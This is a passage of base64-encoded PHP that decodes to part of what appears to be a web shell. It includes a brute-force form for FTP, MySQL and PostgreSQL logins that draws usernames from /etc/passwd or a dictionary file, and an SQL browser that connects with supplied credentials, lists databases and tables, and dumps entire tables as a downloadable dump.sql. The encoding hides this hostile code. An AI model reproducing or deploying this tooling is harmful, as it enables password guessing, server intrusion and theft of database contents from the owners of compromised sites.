sndHlwZSddID09IDIpIHsKICAgICAgICAgICAgJHRlbXAgPSBAZmlsZSgkX1BPU1RbJ2RpY3QnXSk7CiAgICAgICAgICAgIGlmKCBpc19hcnJheSgkdGVtcCkgKQogICAgICAgICAgICAgICAgZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgewogICAgICAgICAgICAgICAgICAgICRsaW5lID0gdHJpbSgkbGluZSk7CiAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7CiAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZSkuJzxicj4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7CiAgICB9CiAgICBlY2hvICc8aDE+RlRQIGJydXRlZm9yY2U8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48dGFibGU+PGZvcm0gbWV0aG9kPXBvc3Q+PHRyPjx0ZD48c3Bhbj5UeXBlPC9zcGFuPjwvdGQ+JwogICAgICAgIC4nPHRkPjxzZWxlY3QgbmFtZT1wcm90bz48b3B0aW9uIHZhbHVlPWZ0cD5GVFA8L29wdGlvbj48b3B0aW9uIHZhbHVlPW15c3FsPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1wZ3NxbD5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+JwogICAgICAgIC4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+JwogICAgICAgIC4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYSddKS4nIj4nCiAgICAgICAgLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydjaGFyc2V0J10pLiciPicKICAgICAgICAuJzxzcGFuPlNlcnZlcjpwb3J0PC9zcGFuPjwvdGQ+JwogICAgICAgIC4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgdmFsdWU9IjEyNy4wLjAuMSI+PC90ZD48L3RyPicKICAgICAgICAuJzx0cj48dGQ+PHNwYW4+QnJ1dGUgdHlwZTwvc3Bhbj48L3RkPicKICAgICAgICAuJzx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIxIiBjaGVja2VkPiAvZXRjL3Bhc3N3ZDwvbGFiZWw+PC90ZD48L3RyPicKICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1yZXZlcnNlIHZhbHVlPTEgY2hlY2tlZD4gcmV2ZXJzZSAobG9naW4gLT4gbmlnb2wpPC9sYWJlbD48L3RkPjwvdHI+JwogICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIyIj4gRGljdGlvbmFyeTwvbGFiZWw+PC90ZD48L3RyPicKICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PHRhYmxlIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PHRyPjx0ZD48c3Bhbj5Mb2dpbjwvc3Bhbj48L3RkPicKICAgICAgICAuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bG9naW4gdmFsdWU9IlRlYW0gRkgiPjwvdGQ+PC90cj4nCiAgICAgICAgLic8dHI+PHRkPjxzcGFuPkRpY3Rpb25hcnk8L3NwYW4+PC90ZD4nCiAgICAgICAgLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRpY3QgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLidwYXNzd2QuZGljIj48L3RkPjwvdHI+PC90YWJsZT4nCiAgICAgICAgLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JzsKICAgIGVjaG8gJzwvZGl2Pjxicj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uU3FsKCkgewogICAgY2xhc3MgRGJDbGFzcyB7CiAgICAgICAgdmFyICR0eXBlOwogICAgICAgIHZhciAkbGluazsKICAgICAgICB2YXIgJHJlczsKICAgICAgICBmdW5jdGlvbiBEYkNsYXNzKCR0eXBlKSAgICB7CiAgICAgICAgICAgICR0aGlzLT50eXBlID0gJHR5cGU7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGNvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7CiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgewogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgIGlmKCAkdGhpcy0+bGluayA9IEBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLHRydWUpICkgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOwogICAgICAgICAgICAgICAgICAgIGlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsKICAgICAgICAgICAgICAgICAgICBpZiggJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVjdCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBhc3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHNlbGVjdGRiKCRkYikgewogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICBpZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gcXVlcnkoJHN0cikgewogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpIHsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9xdWVyeSgkc3RyKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGZldGNoKCkgewogICAgICAgICAgICAkcmVzID0gZnVuY19udW1fYXJncygpP2Z1bmNfZ2V0X2FyZygwKTokdGhpcy0+cmVzOwogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBsaXN0RGJzKCkgewogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9saXN0X2RicygkdGhpcy0+bGluayk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSIpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBsaXN0VGFibGVzKCkgewogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgKHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJykgb3IgdGFibGVfbmFtZSA9ICdwZ191c2VyJyIpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBlcnJvcigpIHsKICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7CiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBteXNxbF9lcnJvcigkdGhpcy0+bGluayk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX2xhc3RfZXJyb3IoJHRoaXMtPmxpbmspOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpIHsKICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7CiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5rKTsKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX3NldF9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gZHVtcCgkdGFibGUpIHsKICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7CiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgJHJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJyk7CiAgICAgICAgICAgICAgICAgICAgJGNyZWF0ZSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJGNyZWF0ZVsxXS4iO1xuXG4iOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKTsKICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1uc1tdID0gImAiLiRrLiJgIjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyk7Jy4iXG4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1ucyA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnNbXSA9ICRrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyk7Jy4iXG4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICB9OwogICAgJGRiID0gbmV3IERiQ2xhc3MoQCRfUE9TVFsndHlwZSddKTsKICAgIGlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsKICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7CiAgICAgICAgJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pOwogICAgICAgICRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsKICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPWR1bXAuc3FsIik7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4iKTsKICAgICAgICBmb3JlYWNoKCRfUE9TVFsndGJsJ10gYXMgJHYpCiAgICAgICAgICAgICAgICAkZGItPmR1bXAoJHYpOwogICAgICAgIGV4aXQ7CiAgICB9CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPlNxbCBicm93c2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBuYW1lPSJzZiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICA8dGFibGUgY2VsbHBhZGRpbmc9IjIiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPlR5cGU8L3RkPgogICAgICAgICAgICAgICAgPHRkPkhvc3Q8L3RkPgogICAgICAgICAgICAgICAgPHRkPkxvZ2luPC90ZD4KICAgICAgICAgICAgICAgIDx0ZD5QYXNzd29yZDwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+RGF0YWJhc2U8L3RkPgogICAgICAgICAgICAgICAgPHRkPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9U3FsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9XCdxdWVyeVwnPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDI+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBuYW1lPVwndHlwZVwnPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJteXNxbCIgJy4oQCRfUE9TVFsndHlwZSddPT0nbXlzcWwnPydzZWxlY3RlZCc6JycpLic+TXlTcWw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0icGdzcWwiICcuKEAkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJz8nc2VsZWN0ZWQnOicnKS4nPlBvc3RncmVTcWw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD48L3RkPgogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfaG9zdCB2YWx1ZT0iJy4oZW1wdHkoJF9QT1NUWydzcWxfaG9zdCddKT8nbG9jYWxob3N0JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2hvc3QnXSkpLiciPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT0iJy4oZW1wdHkoJF9QT1NUWydzcWxfbG9naW4nXSk/J3Jvb3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSkpLiciPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9wYXNzIHZhbHVlPSInLihlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSkuJyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4nOwogICAgJHRtcCA9ICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2Jhc2UgdmFsdWU9Jyc+IjsKICAgIGlmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpewogICAgICAgIGlmKCRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKSkgewogICAgICAgICAgICBzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsKICAgICAgICAgICAgICAgIGNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICAkZGItPmxpc3REYnMoKTsKICAgICAgICAgICAgZWNobyAiPHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9Jyc+PC9vcHRpb24+IjsKICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsKICAgICAgICAgICAgICAgIGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOwogICAgICAgICAgICAgICAgZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8L3NlbGVjdD4nOwogICAgICAgIH0KICAgICAgICBlbHNlIGVjaG8gJHRtcDsKICAgIH1lbHNlCiAgICAgICAgZWNobyAkdG1wOwogICAgZWNobyAnPC90ZD4KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPgogICAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CiAgICAgICAgPHNjcmlwdD4KICAgICAgICAgICAgZnVuY3Rpb24gc3QodCxsKSB7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5zZi5wMS52YWx1ZSA9IFwnc2VsZWN0XCc7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5zZi5wMi52YWx1ZSA9IHQ7CiAgICAgICAgICAgICAgICBpZihsIT1udWxsKWRvY3VtZW50LnNmLnAzLnZhbHVlID0gbDsKICAgICAgICAgICAgICAgIGRvY3VtZW50LnNmLnN1Ym1pdCgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGlzKCkgewogICAgICAgICAgICAgICAgZm9yKGk9MDtpPGRvY3VtZW50LnNmLmVsZW1lbnRzW1wndGJsW11cJ10ubGVuZ3RoOysraSkKICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5zZi5lbGVtZW50c1tcJ3RibFtdXCddW2ldLmNoZWNrZWQgPSAhZG9jdW1lbnQuc2YuZWxlbWVudHNbXCd0YmxbXVwnXVtpXS5jaGVja2VkOwogICAgICAgICAgICB9CiAgICAgICAgPC9zY3JpcHQ+JzsKICAgIGlmKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKXsKICAgICAgICBlY2hvICI8YnIvPjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTIgY2VsbHNwYWNpbmc9MD4iOwogICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7CiAgICAgICAgICAgICAgICAkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7CiAgICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkIHdpZHRoPTEgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Ym9yZGVyLXJpZ2h0OjJweCBzb2xpZCAjNjY2Oyc+PHNwYW4+VGFibGVzOjwvc3Bhbj48YnI+PGJyPiI7CiAgICAgICAgICAgICAgICAkdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsKICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKSB7CiAgICAgICAgICAgICAgICAgICAgbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJy4kdmFsdWUuJycpKTsKICAgICAgICAgICAgICAgICAgICAkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSk7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPG5vYnI+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPVwic3QoJyIuJHZhbHVlLiInKVwiPiIuJHZhbHVlLiI8L2E+ICgiLiRuWyduJ10uIik8L25vYnI+PGJyPiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICI8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG9uY2xpY2s9J2lzKCk7Jz4gPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPSdEdW1wJyBvbmNsaWNrPSdkb2N1bWVudC5zZi5wMi52YWx1ZT1cImRvd25sb2FkXCI7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7Jz48L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPiI7CiAgICAgICAgICAgICAgICBpZihAJF9QT1NUWydwMSddID09ICdzZWxlY3QnKSB7CiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMSddID0gJ3F1ZXJ5JzsKICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJF9QT1NUWydwMiddLicnKTsKICAgICAgICAgICAgICAgICAgICAkbnVtID0gJGRiLT5mZXRjaCgpOwogICAgICAgICAgICAgICAgICAgICRudW0gPSAkbnVtWyduJ107CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNwYW4+Ii4kX1BPU1RbJ3AyJ10uIjwvc3Bhbj4gKCRudW0pICI7CiAgICAgICAgICAgICAgICAgICAgZm9yKCRpPTA7JGk8KCRudW0vMzApOyRpKyspCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRpICE9IChpbnQpJF9QT1NUWydwMyddKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGEgaHJlZj0nIycgb25jbGljaz0nc3QoXCIiLiRfUE9TVFsncDInXS4iXCIsICRpKSc+IiwoJGkrMSksIjwvYT4gIjsKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAoJGkrMSksIiAiOwogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKQogICAgICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncDInXS4nIExJTUlUIDMwIE9GRlNFVCAnLigkX1BPU1RbJ3AzJ10qMzApOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydwMiddLidgIExJTUlUICcuKCRfUE9TVFsncDMnXSozMCkuJywzMCc7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJyPjxicj4iOwogICAgICAg